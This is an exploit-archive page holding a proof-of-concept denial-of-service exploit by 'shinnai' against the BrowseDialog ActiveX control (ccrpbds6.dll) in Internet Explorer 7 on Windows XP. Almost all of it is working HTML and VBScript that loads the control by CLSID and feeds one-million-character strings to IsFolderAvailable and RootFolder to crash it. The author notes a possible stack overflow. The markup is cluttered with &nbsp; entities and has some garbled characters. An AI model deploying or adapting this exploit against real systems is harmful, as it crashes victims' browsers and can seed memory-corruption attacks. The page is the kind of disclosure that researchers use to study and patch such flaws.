BrowseDialog Class (ccrpbds6.dll) Multiple Methods DoS Exploit

<pre> <code><span&nbsp;style=\"font:&nbsp;10pt&nbsp;Courier&nbsp;New;\"><span&nbsp;class=\"general1-symbol\">----------------------------------------------------------------------------- &nbsp;BrowseDialog&nbsp;Class&nbsp;(ccrpbds6.dll)&nbsp;multiple&nbsp;methods&nbsp;Denial&nbsp;of&nbsp;Service &nbsp;author:&nbsp;shinnai &nbsp;mail:&nbsp;shinnai[at]autistici[dot]org &nbsp;site:&nbsp;http://shinnai.altervista.org &nbsp;Soundtrack:&nbsp;\"Zeta&nbsp;Reticoli\"&nbsp;(Meganoidi) &nbsp;Tested&nbsp;on&nbsp;Windows&nbsp;XP&nbsp;Professional&nbsp;SP2&nbsp;all&nbsp;patched,&nbsp;with&nbsp;Internet&nbsp;Explorer&nbsp;7 &nbsp;I&nbsp;found&nbsp;other&nbsp;two&nbsp;methods&nbsp;in&nbsp;this&nbsp;dll&nbsp;that&nbsp;are&nbsp;unable&nbsp;to&nbsp;handle&nbsp;long&nbsp;string. &nbsp;It&nbsp;seems&nbsp;to&nbsp;be&nbsp;a&nbsp;Stack&nbsp;Overflow,&nbsp;but&nbsp;I\'m&nbsp;not&nbsp;sure&nbsp;of&nbsp;this&nbsp;:) ------------------------------------------------------------------------------ <object&nbsp;classid=\'clsid:19E6E148-BAEC-11D2-B03A-EAFC20524153\'&nbsp;id=\'BrowseDialog\'></object> <select&nbsp;style=\"width:&nbsp;404px\"&nbsp;name=\"Pucca\"> &nbsp;&nbsp;<option&nbsp;value&nbsp;=&nbsp;\"IsFolderAvailable\">IsFolderAvailable</option> &nbsp;&nbsp;<option&nbsp;value&nbsp;=&nbsp;\"RootFolder\">RootFolder</option> &nbsp;&nbsp;<option&nbsp;value&nbsp;=&nbsp;\"Quoting\">Quoting...</option> </select> <input&nbsp;language=VBScript&nbsp;onclick=tryMe()&nbsp;type=button&nbsp;value=\"Click&nbsp;here&nbsp;to&nbsp;start&nbsp;the&nbsp;test\"> <script&nbsp;language=\'vbscript\'> &nbsp;Sub&nbsp;tryMe &nbsp;&nbsp;on&nbsp;error&nbsp;resume&nbsp;next &nbsp;&nbsp;&nbsp;if&nbsp;Pucca.value=\"IsFolderAvailable\"&nbsp;then &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;argCount&nbsp;&nbsp;&nbsp;=&nbsp;1 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arg1=String(1000000,&nbsp;\"A\") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BrowseDialog.IsFolderAvailable&nbsp;arg1 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BrowseDialog.IsFolderAvailable&nbsp;arg1 &nbsp;&nbsp;&nbsp;elseif&nbsp;Pucca.value=\"RootFolder\"&nbsp;then &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;argCount&nbsp;&nbsp;&nbsp;=&nbsp;1 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arg1=String(1000000,&nbsp;\"A\") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BrowseDialog.RootFolder&nbsp;=&nbsp;arg1 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BrowseDialog.RootFolder&nbsp;=&nbsp;arg1 &nbsp;&nbsp;&nbsp;else &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox&nbsp;\"Brucia&nbsp;ancora&nbsp;che&nbsp;prima&nbsp;o&nbsp;poi&nbsp;ritorner?quot;&nbsp;&&nbsp;vbCrLf&nbsp;&&nbsp;_ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\"Conservo&nbsp;di&nbsp;nascosto&nbsp;sempre&nbsp;lo&nbsp;stesso&nbsp;smalto\"&nbsp;&&nbsp;vbCrLf&nbsp;&_ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\"Non&nbsp;temere&nbsp;zeta&nbsp;reticoli&nbsp;on&nbsp;my&nbsp;mind\"&nbsp;&&nbsp;vbCrLf&nbsp;&_ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\"Aspetter?nbsp;il&nbsp;momento&nbsp;per&nbsp;un&nbsp;migliore&nbsp;slancio\" &nbsp;&nbsp;&nbsp;end&nbsp;if &nbsp;End&nbsp;Sub </script> </span></span> </code></pre> &nbsp;